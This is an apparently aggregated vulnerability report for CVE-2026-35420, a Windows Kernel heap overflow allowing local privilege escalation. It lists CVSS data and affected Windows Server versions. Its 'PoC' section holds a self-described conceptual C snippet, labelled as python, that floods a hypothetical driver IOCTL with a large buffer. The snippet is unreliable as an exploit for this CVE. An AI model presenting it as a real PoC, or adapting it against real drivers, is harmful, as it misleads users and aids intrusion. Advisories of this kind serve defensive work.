Security Vulnerability Report
中文
CVE-2026-35420 CVSS 7.8 HIGH

CVE-2026-35420

Published: 2026-05-12 18:17:13
Last Modified: 2026-05-14 18:06:13

Description

Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:* - VULNERABLE
Windows Kernel (具体受影响版本需参考微软安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-35420 (Conceptual) * This code demonstrates how to trigger the heap buffer overflow * by sending a large buffer to the vulnerable kernel driver. */ #include <windows.h> #include <stdio.h> int main() { HANDLE hDevice; DWORD bytesReturned; char payload[0x2000]; // Large buffer to trigger overflow memset(payload, 0x41, sizeof(payload)); // Fill with 'A' // Open handle to the vulnerable device (Hypothetical path) hDevice = CreateFileA("\\\\.\\VulnerableKernelDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[!] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[*] Sending payload to trigger heap overflow...\n"); // Send payload to the vulnerable IOCTL // 0x80002010 is a hypothetical IOCTL code DeviceIoControl(hDevice, 0x80002010, payload, sizeof(payload), NULL, 0, &bytesReturned, NULL); printf("[*] Exploit triggered. Check system stability.\n"); CloseHandle(hDevice); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35420", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:12.557", "lastModified": "2026-05-14T18:06:13.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.9140", "matchCriteriaId": "71D026B8-B196-4369-9AB3-5FCA21E8AA36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8755", "matchCriteriaId": "C1926806-B15D-4AF1-967A-7ADA71FF74DC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.5074", "matchCriteriaId": "10060868-96D5-47E4-8FEB-80A79DCC1134"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2330", "matchCriteriaId": "E3F26150-16EA-4D34-8BE9-2EE7C745D707"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32772", "matchCriteriaId": "9ABAB3B9-28AF-4278-8E78-E1191B1AFC0C"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35420", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}